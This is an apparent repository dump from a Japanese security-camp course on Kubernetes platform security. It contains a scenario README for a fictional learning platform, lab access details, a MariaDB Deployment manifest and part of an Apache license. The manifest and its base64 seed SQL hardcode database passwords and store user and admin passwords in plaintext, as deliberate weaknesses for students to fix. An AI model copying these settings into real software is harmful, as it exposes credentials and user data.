┌──────────────────────────────────────────────────────┐ 61 | │ 外部ユーザー │ 62 | │ (学生・社会人・法人管理者) │ 63 | └────────────────────┬─────────────────────────────────┘ 64 | │ HTTPS 65 | │ 66 | ┌────────────────────┴─────────────────────────────────┐ 67 | │ │ Kubernetes Cluster │ 68 | │ ┌─────────────────┴─────────────────────────────┐ │ 69 | │ │ Ingress Controller │ │ 70 | │ └─────────────────┬─────────────────────────────┘ │ 71 | │ │ HTTP │ 72 | │ ┌─────────────────┴─────────────────────────────┐ │ 73 | │ │ Frontend │ │ 74 | │ │ (React/TS) │ │ 75 | │ └─────────────────┬─────────────────────────────┘ │ 76 | │ │ HTTP API calls │ 77 | │ │ │ 78 | │ ┌───────────────────────────────────────────────┐ │ 79 | │ │ Backend API │ │ 80 | │ │ (Go/Gin) │ │ 81 | │ └─────────────────┬─────────────────────────────┘ │ 82 | │ │ MySQL queries │ 83 | │ │ │ 84 | │ ┌───────────────────────────────────────────────┐ │ 85 | │ │ Database │ │ 86 | │ │ (MariaDB) │ │ 87 | │ └───────────────────────────────────────────────┘ │ 88 | └──────────────────────────────────────────────────────┘ 89 | ``` 90 | 91 | ### 2.3 アプリケーション機能 92 | 93 | **無敗塾の主要機能**: 94 | - **学習管理システム**: コース管理、進捗追跡、成績評価 95 | - **ユーザー認証**: シンプルなユーザー名・パスワード認証 96 | - **REST API**: Goベースのバックエンドサービス 97 | - **データ管理**: ユーザー情報、学習データ、コース情報 98 | - **管理機能**: 教材アップロード、ユーザー管理、分析ダッシュボード(演習では未実装) 99 | 100 | ![](./images/muhai.png) 101 | 102 | ### 2.4 セキュリティ上の重要データ 103 | 104 | 以下は、無敗塾が扱う機密性の高いデータです。 105 | 106 | #### 個人情報 107 | - 学習者の氏名、ユーザー名、パスワード 108 | - 学習履歴、成績データ、進捗情報 109 | - メールアドレス、プロフィール情報 110 | 111 | #### 認証・認可情報 112 | - ユーザーパスワード、セッション管理情報 113 | - 管理者権限フラグ、アクセストークン 114 | 115 | #### ビジネス機密情報 116 | - 教材コンテンツ、問題・コース情報 117 | - 利用統計、学習データ分析結果 118 | 119 | #### 将来的に扱う予定の法人データ 120 | - 企業従業員の個人情報、研修履歴 121 | - 企業別の学習カリキュラム 122 | 123 | ### 2.5 技術スタック 124 | 125 | - **フロントエンド**: React (TypeScript) 126 | - **バックエンド**: Go (Gin framework) 127 | - **データベース**: MariaDB 128 | - **コンテナ**: Docker, Kubernetes 129 | - **CI/CD**: GitLab CI 130 | - **ログ監視**: Loki, Grafana 131 | 132 | ### 2.6 現在のセキュリティ成熟度 133 | 134 | **Level 1 (導入期)**: 急速な成長により、セキュリティ対策が追いついていない状況 135 | 136 | - ✅ HTTPSアクセス、基本的なIngress設定 137 | - ✅ 基本的なCI/CDパイプライン構築 138 | - ✅ Kubernetesの監査ログ収集 139 | - ❌ 脆弱性管理なし 140 | - ❌ 実行環境の監視未実施 141 | - etc... 142 | 143 | ## 3. インフラエンジニアとしての役割 144 | 145 | 皆さんは無敗塾のインフラエンジニアとして、前任者から引き継いだプラットフォームの管理およびセキュリティ強化を担当します。本講義ではプラットフォームセキュリティに焦点を当て、セキュリティ上の課題を検討・解決していきます。 146 | 147 | ### 3.1 引き継ぎ状況と前任者のメモ 148 | 149 | 前任のインフラエンジニアが残した引き継ぎドキュメントには、今後の課題が記載されています。 150 | 151 | **前任者からの引き継ぎメモ**: 152 | ``` 153 | 【現状の課題】 154 | 無敗塾のセキュリティ体制は最低限の設定しかされていない。 155 | 法人利用を想定したセキュリティ設定、運用体制が大幅に不足している状況。 156 | 157 | 【法人展開への技術的懸念】 158 | - 現在のセキュリティ設定ではサイバー攻撃に十分に対処できない 159 | - アクセス制御が不十分でデータ漏洩リスクが高い 160 | - 異常検知や攻撃監視の仕組みがなく、インシデント発見が困難 161 | 162 | 【経営陣からのプレッシャー】 163 | 「無敗ラーニング展開前に、まず無敗塾を確実に固めてほしい」 164 | 「セキュリティは重要だが、サービス停止や開発遅延は避けたい」 165 | 166 | 【その他コメント】 167 | 「法人顧客は『無敗塾で使っているのと同じ基盤』と聞いている。つまり無敗塾のセキュリティレベルが、そのまま法人展開の可否を決める。責任重大だが、具体的な指針は『業界標準に合わせて』としか言われていない...」 168 | ``` 169 | 170 | ## 4. 組織・チーム体制 171 | 172 | ITインフラ管理部門は小規模なチームで、急成長する事業を支えています。法人展開に向けたセキュリティ強化への期待が高まっていますが、具体的な指針は少なく、現場の判断に委ねられている状況です。 173 | 174 | ``` 175 | 無敗塾 組織図 176 | ├── 経営陣 ← 「法人展開前に無敗塾を確実に固めてほしい」 177 | ├── ITインフラ管理部門 178 | │ └── インフラエンジニア (3-4名) ← 皆さんの配属先 179 | ├── 開発部門 180 | │ ├── 無敗塾チーム (5名) ← 既存サービス 181 | │ └── 無敗ラーニング企画チーム (2名) ← 来年度展開予定 182 | └── 外部パートナー 183 | └── SaaS、クラウドベンダー 184 | ``` 185 | 186 | **現在のプレッシャー**: 187 | - **経営陣**: 「法人展開のチャンスを逃したくない。セキュリティ基盤をしっかり固めてほしい」 188 | - **開発チーム**: 「セキュリティは重要だが、機能開発のスピードも落としたくない」 189 | - **営業・CS**: 「法人顧客候補から技術的な安全性について質問が多い」 190 | 191 | **責任分界点**: 192 | - **インフラ管理部門**: プラットフォーム全体のセキュリティ、インフラ運用 193 | - **開発部門**: アプリケーションコード、ビジネスロジック 194 | - **外部パートナー**: SaaSやクラウドインフラの基盤部分 195 | 196 | **セキュリティ体制の現状**: 197 | - **セキュリティ専門人材**: インフラエンジニア(兼セキュリティ担当者)以外にセキュリティを専門に取り扱う人材はいない 198 | - **開発チームのセキュリティ意識**: アプリ開発者はこれまでセキュリティについては特に意識しておらず、機能実装を優先してきた 199 | - **セキュリティ責任の所在**: 200 | - アプリケーションの脆弱性修正は開発部門の担当 201 | - セキュリティを意識した実装の啓蒙や環境整備は、インフラエンジニアの役割 202 | - 組織全体のセキュリティ文化醸成もインフラ管理部門に期待されている 203 | 204 | **課題**:
205 | セキュリティ強化の方針や優先順位を、限られた情報とリソースの中でインフラチームが自ら決定しなければならない状況。法人展開というビジネスチャンスを成功させるため、「業界標準レベルのセキュリティ」という曖昧な指示のもと、具体的な対策を現場で判断する必要がある。 206 | 207 | ## 5. 演習環境の説明 208 | 209 | ### 5.1 提供される環境 210 | 演習では、事前に構築された以下の環境を使用します: 211 | 212 | - **Kubernetesクラスタ**: EC2上に構築されたkindクラスタ 213 | - **無敗塾アプリケーション**: クラスタ上で動作するWebアプリケーション 214 | - **Gitlab サーバー**: ソースコード、開発パイプラインの管理 215 | - **Harbor レジストリ**: コンテナイメージの管理 216 | - **監視スタック**: Loki, Grafana 217 | 218 | 環境構築手順 219 | 220 | ```bash 221 | cd /root/helm/ 222 | 223 | # 一括適用 224 | helmfile sync 225 | 226 | # 特定OSSのみ 227 | helmfile sync --selector app= 228 | ``` 229 | 230 | ### 5.2 アクセス情報 231 | 232 | ※ ローカル環境から8082→443のポートフォワード設定をしている想定です。 233 | 234 | ```bash 235 | # アプリケーションURL 236 | https://app.seccamp.com:8082 237 | ## ログイン情報 238 | username: sato 239 | password: pass1 240 | 241 | # ソースコードリポジトリ 242 | Gitlab: https://gitlab.seccamp.com:8082 243 | ## ログイン情報 244 | username: root 245 | password: 以下で取得 246 | kubectl view-secret -n gitlab gitlab-initial-root-password 247 | 248 | # コンテナレジストリ 249 | Harbor: https://harbor.seccamp.com:8082 250 | ## ログイン情報 251 | username: admin 252 | password: harboradminpassword 253 | 254 | # 監視ダッシュボード 255 | Grafana: https://grafana.seccamp.com:8082 256 | ## ログイン情報 257 | k view-secret -n monitoring grafana 258 | 259 | # その他 260 | ArgoCD: https://argocd.seccamp.com:8082 261 | Hubble: https://hubble.seccamp.com:8082 262 | ``` 263 | 264 | ### 5.3 前任者からの引き継ぎドキュメント 265 | 266 | 演習環境には前任者が残した以下の情報が含まれています。 267 | 268 | ```bash 269 | # 基本的な環境確認コマンド 270 | kubectl get nodes 271 | kubectl get namespaces 272 | kubectl get pods -A 273 | 274 | # 現在稼働中のアプリケーション確認 275 | kubectl get deployments -n seccamp-app 276 | kubectl get services -n seccamp-app 277 | kubectl get configmaps,secrets -n seccamp-app 278 | 279 | # 監視システムの状態 280 | kubectl get pods -n monitoring 281 | ``` 282 | 283 | **前任者のメモ(引き継ぎドキュメントより)**: 284 | ``` 285 | TODO: セキュリティ設定の見直し(法人展開準備) 286 | - 基本的なセキュリティ設定が不十分 287 | - コンテナ・Pod レベルでの適切な制御が未実装 288 | - ネットワークアクセス制御が甘い 289 | - 機密情報の管理方法に問題 290 | - 権限管理・アクセス制御の見直しが必要 291 | - 監査ログや証跡が不十分 292 | - セキュリティ監視体制が未整備 293 | 294 | 緊急度:高 295 | 法人展開のチャンスを逃さないため、法人監査に通るレベルのセキュリティ対策が必要。 296 | ただし開発チームからは「デプロイが複雑になるのは困る」と言われている。 297 | 298 | 会社からは「法人顧客の要求レベルに合わせて」と言われているが、具体的にどこまでやればいいのか不明。業界標準という曖昧な指示のみ。何かあったらインフラチームの責任になる状況で、判断に迷う。 299 | ``` 300 | 301 | ### 5.4 トラブルシューティング 302 | 303 | ```bash 304 | # Pod状態の確認 305 | kubectl get pods -n seccamp-app -o wide 306 | kubectl describe pod -n seccamp-app 307 | kubectl logs -n seccamp-app 308 | 309 | # 現在のユーザー権限確認 310 | kubectl auth whoami 311 | kubectl auth can-i get pods --namespace=seccamp-app 312 | 313 | # Service Account確認 314 | kubectl get serviceaccount -n seccamp-app 315 | kubectl describe serviceaccount default -n seccamp-app 316 | 317 | # ネットワークの確認 318 | curl -v https://app.seccamp.com 319 | nslookup app.seccamp.com 320 | 321 | kubectl get services,ingress -n seccamp-app 322 | kubectl get ingress -n seccamp-app app-frontend-ingress -o yaml 323 | kubectl logs -n ingress-nginx ingress-nginx-controller-b5d5b7c-2n4k4 324 | 325 | # リソース使用状況確認 326 | kubectl top nodes 327 | kubectl describe node | grep -A 5 "Allocated resources" 328 | ``` 329 | 330 | --- 331 | 332 | ## 次のステップ 333 | 334 | - [演習1 環境の把握](./training.md) 335 | - [2章 クラウドネイティブセキュリティの基礎](../02_cloud_native_sec/README.md) 336 | -------------------------------------------------------------------------------- /app/infra/manifests/db-deployment.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: apps/v1 2 | kind: Deployment 3 | metadata: 4 | name: db 5 | namespace: seccamp-app 6 | spec: 7 | replicas: 1 8 | selector: 9 | matchLabels: 10 | app: db 11 | template: 12 | metadata: 13 | labels: 14 | app: db 15 | spec: 16 | containers: 17 | - name: mariadb 18 | image: mariadb:11.3 19 | env: 20 | - name: MYSQL_ROOT_PASSWORD 21 | value: "password" 22 | - name: MYSQL_DATABASE 23 | value: "seccamp2025" 24 | - name: MYSQL_USER 25 | value: "rootuser" 26 | - name: MYSQL_PASSWORD 27 | value: "password" 28 | ports: 29 | - containerPort: 3306 30 | volumeMounts: 31 | - name: db-init 32 | mountPath: /docker-entrypoint-initdb.d 33 | volumes: 34 | - name: db-init 35 | configMap: 36 | name: db-init-sql 37 | --- 38 | apiVersion: v1 39 | kind: ConfigMap 40 | metadata: 41 | name: db-init-sql 42 | namespace: seccamp-app 43 | binaryData: 44 | init.sql: |- 45 | VVNFIHNlY2NhbXAyMDI1OwoKLS0gTWFyaWFEQiBpbml0aWFsaXphdGlvbiBTUUwgKEVuZ2xpc2ggb25seSkKLS0gVXNlciBpbmZvcm1hdGlvbiB0YWJsZQpDUkVBVEUgVEFCTEUgSUYgTk9UIEVYSVNUUyB1c2VycyAoCiAgICBpZCBJTlQgQVVUT19JTkNSRU1FTlQgUFJJTUFSWSBLRVksCiAgICB1c2VybmFtZSBWQVJDSEFSKDY0KSBVTklRVUUgTk9UIE5VTEwsCiAgICBmdWxsX25hbWUgVkFSQ0hBUigxMjgpLAogICAgcGFzc3dvcmQgVkFSQ0hBUigyNTYpIE5PVCBOVUxMLAogICAgaXNfYWRtaW4gQk9PTEVBTiBERUZBVUxUIEZBTFNFCik7CgotLSBMZWFybmluZyBjb250ZW50IGluZm9ybWF0aW9uIHRhYmxlCkNSRUFURSBUQUJMRSBJRiBOT1QgRVhJU1RTIGNvdXJzZXMgKAogICAgaWQgSU5UIEFVVE9fSU5DUkVNRU5UIFBSSU1BUlkgS0VZLAogICAgdGl0bGUgVkFSQ0hBUigxMjgpIE5PVCBOVUxMLAogICAgZGVzY3JpcHRpb24gVEVYVAopOwoKLS0gTGVhcm5pbmcgcHJvZ3Jlc3MgdGFibGUgKHdpdGggY29tcG9zaXRlIHVuaXF1ZSBjb25zdHJhaW50KQpDUkVBVEUgVEFCTEUgSUYgTk9UIEVYSVNUUyBwcm9ncmVzcyAoCiAgICBpZCBJTlQgQVVUT19JTkNSRU1FTlQgUFJJTUFSWSBLRVksCiAgICB1c2VyX2lkIElOVCBOT1QgTlVMTCwKICAgIGNvdXJzZV9pZCBJTlQgTk9UIE5VTEwsCiAgICBwZXJjZW50IElOVCBERUZBVUxUIDAsCiAgICB1cGRhdGVkX2F0IERBVEVUSU1FLAogICAgRk9SRUlHTiBLRVkgKHVzZXJfaWQpIFJFRkVSRU5DRVMgdXNlcnMoaWQpLAogICAgRk9SRUlHTiBLRVkgKGNvdXJzZV9pZCkgUkVGRVJFTkNFUyBjb3Vyc2VzKGlkKSwKICAgIFVOSVFVRSBLRVkgdXNlcl9jb3Vyc2VfdW5pcXVlICh1c2VyX2lkLCBjb3Vyc2VfaWQpCik7CgotLSBTYW1wbGUgZGF0YSBpbnNlcnRpb24gU1FMCi0tIFVzZXIgc2FtcGxlIGRhdGEgKEVuZ2xpc2ggbmFtZXMgb25seSkKSU5TRVJUIElOVE8gdXNlcnMgKHVzZXJuYW1lLCBmdWxsX25hbWUsIHBhc3N3b3JkLCBpc19hZG1pbikgVkFMVUVTCiAgKCdzYXRvJywgJ1Rhcm8gU2F0bycsICdwYXNzMScsIEZBTFNFKSwKICAoJ3N1enVraScsICdIYW5ha28gU3V6dWtpJywgJ3Bhc3MyJywgRkFMU0UpLAogICgndGFrYWhhc2hpJywgJ0tlbmljaGkgVGFrYWhhc2hpJywgJ3Bhc3MzJywgRkFMU0UpLAogICgndGFuYWthJywgJ1l1bWkgVGFuYWthJywgJ3Bhc3M0JywgRkFMU0UpLAogICgnd2F0YW5hYmUnLCAnU2hvdGEgV2F0YW5hYmUnLCAncGFzczUnLCBGQUxTRSksCiAgKCdpdG8nLCAnTWlzYWtpIEl0bycsICdwYXNzNicsIEZBTFNFKSwKICAoJ3lhbWFtb3RvJywgJ1l1dG8gWWFtYW1vdG8nLCAncGFzczcnLCBGQUxTRSksCiAgKCduYWthbXVyYScsICdBeWFrYSBOYWthbXVyYScsICdwYXNzOCcsIEZBTFNFKSwKICAoJ2tvYmF5YXNoaScsICdOYW90byBLb2JheWFzaGknLCAncGFzczknLCBGQUxTRSksCiAgKCdrYXRvJywgJ0VtaSBLYXRvJywgJ3Bhc3MxMCcsIEZBTFNFKSwKICAoJ3lvc2hpZGEnLCAnVGFrdW1pIFlvc2hpZGEnLCAncGFzczExJywgRkFMU0UpLAogICgneWFtYWRhJywgJ1Nhb3JpIFlhbWFkYScsICdwYXNzMTInLCBGQUxTRSksCiAgKCdzYXNha2knLCAnUnlvc3VrZSBTYXNha2knLCAncGFzczEzJywgRkFMU0UpLAogICgneWFtYWd1Y2hpJywgJ01heXVtaSBZYW1hZ3VjaGknLCAncGFzczE0JywgRkFMU0UpLAogICgnbWF0c3Vtb3RvJywgJ1RvbW95YSBNYXRzdW1vdG8nLCAncGFzczE1JywgRkFMU0UpLAogICgnaW5vdWUnLCAnQ2hpaGlybyBJbm91ZScsICdwYXNzMTYnLCBGQUxTRSksCiAgKCdraW11cmEnLCAnRGFpc3VrZSBLaW11cmEnLCAncGFzczE3JywgRkFMU0UpLAogICgnaGF5YXNoaScsICdNaXdhIEhheWFzaGknLCAncGFzczE4JywgRkFMU0UpLAogICgnc2hpbWl6dScsICdLYXp1eWEgU2hpbWl6dScsICdwYXNzMTknLCBGQUxTRSksCiAgKCdzYWl0bycsICdLYW9yaSBTYWl0bycsICdwYXNzMjAnLCBGQUxTRSksCiAgKCdhZG1pbicsICdBZG1pbmlzdHJhdG9yJywgJ2FkbWlucGFzcycsIFRSVUUpOwoKLS0gQ291cnNlIHNhbXBsZSBkYXRhIChFbmdsaXNoIG9ubHkgLSBCYXNpYyB0byBBZHZhbmNlZCkKSU5TRVJUIElOVE8gY291cnNlcyAodGl0bGUsIGRlc2NyaXB0aW9uKSBWQUxVRVMKICAtLSBCYXNpYy9JbnRyb2R1Y3Rpb24gQ291cnNlcyAoMS0xMCkKICAoJ1B5dGhvbiBJbnRyb2R1Y3Rpb24nLCAnTGVhcm4gdGhlIGJhc2ljcyBvZiBQeXRob24gcHJvZ3JhbW1pbmcnKSwKICAoJ0t1YmVybmV0ZXMgRnVuZGFtZW50YWxzJywgJ0xlYXJuIHRoZSBmdW5kYW1lbnRhbHMgb2YgS3ViZXJuZXRlcycpLAogICgnR28gTGFuZ3VhZ2UgSW50cm9kdWN0aW9uJywgJ0xlYXJuIHRoZSBiYXNpY3Mgb2YgR28gcHJvZ3JhbW1pbmcgbGFuZ3VhZ2UnKSwKICAoJ1JlYWN0IEludHJvZHVjdGlvbicsICdMZWFybiB0aGUgYmFzaWNzIG9mIFJlYWN0IGRldmVsb3BtZW50JyksCiAgKCdTZWN1cml0eSBGdW5kYW1lbnRhbHMnLCAnTGVhcm4gdGhlIGZ1bmRhbWVudGFscyBvZiBjeWJlcnNlY3VyaXR5JyksCiAgKCdMaW51eCBJbnRyb2R1Y3Rpb24nLCAnTGVhcm4gdGhlIGJhc2ljcyBvZiBMaW51eCBvcGVyYXRpbmcgc3lzdGVtJyksCiAgKCdDbG91ZCBGdW5kYW1lbnRhbHMnLCAnTGVhcm4gdGhlIGZ1bmRhbWVudGFscyBvZiBjbG91ZCB0ZWNobm9sb2dpZXMnKSwKICAoJ05ldHdvcmsgRnVuZGFtZW50YWxzJywgJ0xlYXJuIHRoZSBiYXNpY3Mgb2YgY29tcHV0ZXIgbmV0d29ya2luZycpLAogICgnRG9ja2VyIEludHJvZHVjdGlvbicsICdMZWFybiB0aGUgYmFzaWNzIG9mIERvY2tlciBjb250YWluZXJpemF0aW9uJyksCiAgKCdDSS9DRCBJbnRyb2R1Y3Rpb24nLCAnTGVhcm4gdGhlIGJhc2ljcyBvZiBDb250aW51b3VzIEludGVncmF0aW9uIGFuZCBEZXBsb3ltZW50JyksCiAgCiAgLS0gSW50ZXJtZWRpYXRlIENvdXJzZXMgKDExLTIwKQogICgnUHl0aG9uIFdlYiBEZXZlbG9wbWVudCcsICdCdWlsZCB3ZWIgYXBwbGljYXRpb25zIHVzaW5nIERqYW5nbyBhbmQgRmxhc2snKSwKICAoJ0t1YmVybmV0ZXMgT3BlcmF0aW9ucycsICdBZHZhbmNlZCBLdWJlcm5ldGVzIGNsdXN0ZXIgbWFuYWdlbWVudCBhbmQgb3BlcmF0aW9ucycpLAogICgnR28gTWljcm9zZXJ2aWNlcycsICdCdWlsZCBzY2FsYWJsZSBtaWNyb3NlcnZpY2VzIHdpdGggR28nKSwKICAoJ1JlYWN0IFN0YXRlIE1hbmFnZW1lbnQnLCAnQWR2YW5jZWQgUmVhY3QgcGF0dGVybnMgd2l0aCBSZWR1eCBhbmQgQ29udGV4dCBBUEknKSwKICAoJ1BlbmV0cmF0aW9uIFRlc3RpbmcnLCAnTGVhcm4gZXRoaWNhbCBoYWNraW5nIGFuZCB2dWxuZXJhYmlsaXR5IGFzc2Vzc21lbnQnKSwKICAoJ0xpbnV4IFN5c3RlbSBBZG1pbmlzdHJhdGlvbicsICdBZHZhbmNlZCBMaW51eCBzZXJ2ZXIgbWFuYWdlbWVudCBhbmQgYXV0b21hdGlvbicpLAogICgnQVdTIENsb3VkIEFyY2hpdGVjdHVyZScsICdEZXNpZ24gYW5kIGltcGxlbWVudCBBV1MgY2xvdWQgc29sdXRpb25zJyksCiAgKCdOZXR3b3JrIFNlY3VyaXR5JywgJ0ltcGxlbWVudCBuZXR3b3JrIHNlY3VyaXR5IG1lYXN1cmVzIGFuZCBwcm90b2NvbHMnKSwKICAoJ0RvY2tlciBPcmNoZXN0cmF0aW9uJywgJ0NvbnRhaW5lciBvcmNoZXN0cmF0aW9uIHdpdGggRG9ja2VyIFN3YXJtJyksCiAgKCdEZXZPcHMgUGlwZWxpbmUgRGVzaWduJywgJ0Rlc2lnbiBhbmQgaW1wbGVtZW50IGNvbXByZWhlbnNpdmUgRGV2T3BzIHBpcGVsaW5lcycpLAogIAogIC0tIEFkdmFuY2VkIENvdXJzZXMgKDIxLTMwKQogICgnUHl0aG9uIE1hY2hpbmUgTGVhcm5pbmcnLCAnQWR2YW5jZWQgTUwgYWxnb3JpdGhtcyBhbmQgZGF0YSBzY2llbmNlIHdpdGggUHl0aG9uJyksCiAgKCdLdWJlcm5ldGVzIFNlY3VyaXR5JywgJ0FkdmFuY2VkIHNlY3VyaXR5IHByYWN0aWNlcyBmb3IgS3ViZXJuZXRlcyBjbHVzdGVycycpLAogICgnR28gUGVyZm9ybWFuY2UgT3B0aW1pemF0aW9uJywgJ0hpZ2gtcGVyZm9ybWFuY2UgR28gYXBwbGljYXRpb25zIGFuZCBwcm9maWxpbmcnKSwKICAoJ1JlYWN0IE5hdGl2ZSBEZXZlbG9wbWVudCcsICdDcm9zcy1wbGF0Zm9ybSBtb2JpbGUgZGV2ZWxvcG1lbnQgd2l0aCBSZWFjdCBOYXRpdmUnKSwKICAoJ0FkdmFuY2VkIFRocmVhdCBIdW50aW5nJywgJ0FkdmFuY2VkIGN5YmVyc2VjdXJpdHkgdGhyZWF0IGRldGVjdGlvbiBhbmQgYW5hbHlzaXMnKSwKICAoJ0xpbnV4IEtlcm5lbCBEZXZlbG9wbWVudCcsICdVbmRlcnN0YW5kaW5nIGFuZCBtb2RpZnlpbmcgdGhlIExpbnV4IGtlcm5lbCcpLAogICgnTXVsdGktQ2xvdWQgQXJjaGl0ZWN0dXJlJywgJ0Rlc2lnbiBzb2x1dGlvbnMgYWNyb3NzIG11bHRpcGxlIGNsb3VkIHByb3ZpZGVycycpLAogICgnTmV0d29yayBQcm90b2NvbCBBbmFseXNpcycsICdEZWVwIGRpdmUgaW50byBuZXR3b3JrIHByb3RvY29scyBhbmQgdHJhZmZpYyBhbmFseXNpcycpLAogICgnS3ViZXJuZXRlcyBDdXN0b20gUmVzb3VyY2VzJywgJ0RldmVsb3AgY3VzdG9tIGNvbnRyb2xsZXJzIGFuZCBvcGVyYXRvcnMnKSwKICAoJ0luZnJhc3RydWN0dXJlIGFzIENvZGUnLCAnQWR2YW5jZWQgVGVycmFmb3JtIGFuZCBpbmZyYXN0cnVjdHVyZSBhdXRvbWF0aW9uJyksCiAgCiAgLS0gRXhwZXJ0L1NwZWNpYWxpemVkIENvdXJzZXMgKDMxLTM1KQogICgnQUkvTUwgU3lzdGVtIERlc2lnbicsICdEZXNpZ24gYW5kIGRlcGxveSBwcm9kdWN0aW9uIE1MIHN5c3RlbXMgYXQgc2NhbGUnKSwKICAoJ0Nsb3VkIE5hdGl2ZSBTZWN1cml0eScsICdDb21wcmVoZW5zaXZlIHNlY3VyaXR5IGZvciBjbG91ZC1uYXRpdmUgYXBwbGljYXRpb25zJyksCiAgKCdEaXN0cmlidXRlZCBTeXN0ZW1zIEFyY2hpdGVjdHVyZScsICdEZXNpZ24gaGlnaGx5IHNjYWxhYmxlIGRpc3RyaWJ1dGVkIHN5c3RlbXMnKSwKICAoJ0Jsb2NrY2hhaW4gRGV2ZWxvcG1lbnQnLCAnU21hcnQgY29udHJhY3QgZGV2ZWxvcG1lbnQgYW5kIERlRmkgYXBwbGljYXRpb25zJyksCiAgKCdRdWFudHVtIENvbXB1dGluZyBGdW5kYW1lbnRhbHMnLCAnSW50cm9kdWN0aW9uIHRvIHF1YW50dW0gYWxnb3JpdGhtcyBhbmQgY29tcHV0aW5nJyk7CgotLSBMZWFybmluZyBwcm9ncmVzcyBzYW1wbGUgZGF0YSAoZXhwYW5kZWQgd2l0aCBhZHZhbmNlZCBjb3Vyc2VzKQpJTlNFUlQgSU5UTyBwcm9ncmVzcyAodXNlcl9pZCwgY291cnNlX2lkLCBwZXJjZW50LCB1cGRhdGVkX2F0KSBWQUxVRVMKICAtLSBCYXNpYyB1c2VycyBzdGFydGluZyB3aXRoIGZ1bmRhbWVudGFscwogICgxLCAxLCA1MCwgTk9XKCkpLCAoMSwgMiwgMCwgTk9XKCkpLCAoMSwgMywgMTAwLCBOT1coKSksCiAgKDIsIDEsIDgwLCBOT1coKSksICgyLCAyLCAyMCwgTk9XKCkpLCAoMiwgMywgMCwgTk9XKCkpLAogICgzLCAxLCAwLCBOT1coKSksICgzLCAyLCAwLCBOT1coKSksICgzLCAzLCAwLCBOT1coKSksCiAgCiAgLS0gQWR2YW5jZWQgdXNlcnMgd2l0aCBtdWx0aXBsZSBjb21wbGV0ZWQgY291cnNlcwogICg0LCAxLCAxMDAsIE5PVygpKSwgKDQsIDIsIDEwMCwgTk9XKCkpLCAoNCwgMywgMTAwLCBOT1coKSksCiAgKDQsIDExLCA3NSwgTk9XKCkpLCAoNCwgMTIsIDUwLCBOT1coKSksICg0LCAyMSwgMjUsIE5PVygpKSwKICAKICAtLSBJbnRlcm1lZGlhdGUgdXNlcnMgcHJvZ3Jlc3NpbmcgdGhyb3VnaCBkaWZmZXJlbnQgcGF0aHMKICAoNSwgMSwgMTAsIE5PVygpKSwgKDUsIDIsIDMwLCBOT1coKSksICg1LCAzLCA2MCwgTk9XKCkpLAogICg2LCA1LCAxMDAsIE5PVygpKSwgKDYsIDE1LCA4MCwgTk9XKCkpLCAoNiwgMjUsIDQwLCBOT1coKSksCiAgKDcsIDYsIDEwMCwgTk9XKCkpLCAoNywgMTYsIDYwLCBOT1coKSksICg3LCAyNiwgMjAsIE5PVygpKSwKICAoOCwgNywgMTAwLCBOT1coKSksICg4LCAxNywgOTAsIE5PVygpKSwgKDgsIDI3LCA3MCwgTk9XKCkpLAogIAogIC0tIERldk9wcyBmb2N1c2VkIGxlYXJuaW5nIHBhdGgKICAoOSwgOSwgMTAwLCBOT1coKSksICg5LCAxMCwgMTAwLCBOT1coKSksICg5LCAxOSwgODUsIE5PVygpKSwKICAoOSwgMjAsIDY1LCBOT1coKSksICg5LCAyOSwgNDUsIE5PVygpKSwgKDksIDMwLCAyNSwgTk9XKCkpLAogIAogIC0tIFNlY3VyaXR5IGZvY3VzZWQgbGVhcm5pbmcgcGF0aAogICgxMCwgNSwgMTAwLCBOT1coKSksICgxMCwgMTUsIDEwMCwgTk9XKCkpLCAoMTAsIDI1LCA5MCwgTk9XKCkpLAogICgxMCwgMTgsIDc1LCBOT1coKSksICgxMCwgMzIsIDUwLCBOT1coKSksCiAgCiAgLS0gRnVsbC1zdGFjayBkZXZlbG9wbWVudCBwYXRoCiAgKDExLCAxLCAxMDAsIE5PVygpKSwgKDExLCA0LCAxMDAsIE5PVygpKSwgKDExLCAxMSwgODAsIE5PVygpKSwKICAoMTEsIDE0LCA2MCwgTk9XKCkpLCAoMTEsIDI0LCA0MCwgTk9XKCkpLAogIAogIC0tIENsb3VkIGFyY2hpdGVjdHVyZSBzcGVjaWFsaXN0cwogICgxMiwgNywgMTAwLCBOT1coKSksICgxMiwgMTcsIDEwMCwgTk9XKCkpLCAoMTIsIDI3LCA4NSwgTk9XKCkpLAogICgxMiwgMzAsIDcwLCBOT1coKSksICgxMiwgMzIsIDMwLCBOT1coKSksCiAgCiAgLS0gTWFjaGluZSBMZWFybmluZyBlbnRodXNpYXN0cwogICgxMywgMSwgMTAwLCBOT1coKSksICgxMywgMjEsIDkwLCBOT1coKSksICgxMywgMzEsIDYwLCBOT1coKSksCiAgCiAgLS0gRW1lcmdpbmcgdGVjaG5vbG9neSBleHBsb3JlcnMKICAoMTQsIDM0LCA4MCwgTk9XKCkpLCAoMTQsIDM1LCA0MCwgTk9XKCkpLAogIAogIC0tIENvbXByZWhlbnNpdmUgbGVhcm5lcnMKICAoMTUsIDEsIDEwMCwgTk9XKCkpLCAoMTUsIDUsIDEwMCwgTk9XKCkpLCAoMTUsIDcsIDEwMCwgTk9XKCkpLAogICgxNSwgMTEsIDkwLCBOT1coKSksICgxNSwgMTUsIDgwLCBOT1coKSksICgxNSwgMTcsIDcwLCBOT1coKSksCiAgKDE1LCAyMSwgNjAsIE5PVygpKSwgKDE1LCAyNSwgNTAsIE5PVygpKSwgKDE1LCAyNywgNDAsIE5PVygpKTsKCg== 46 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a 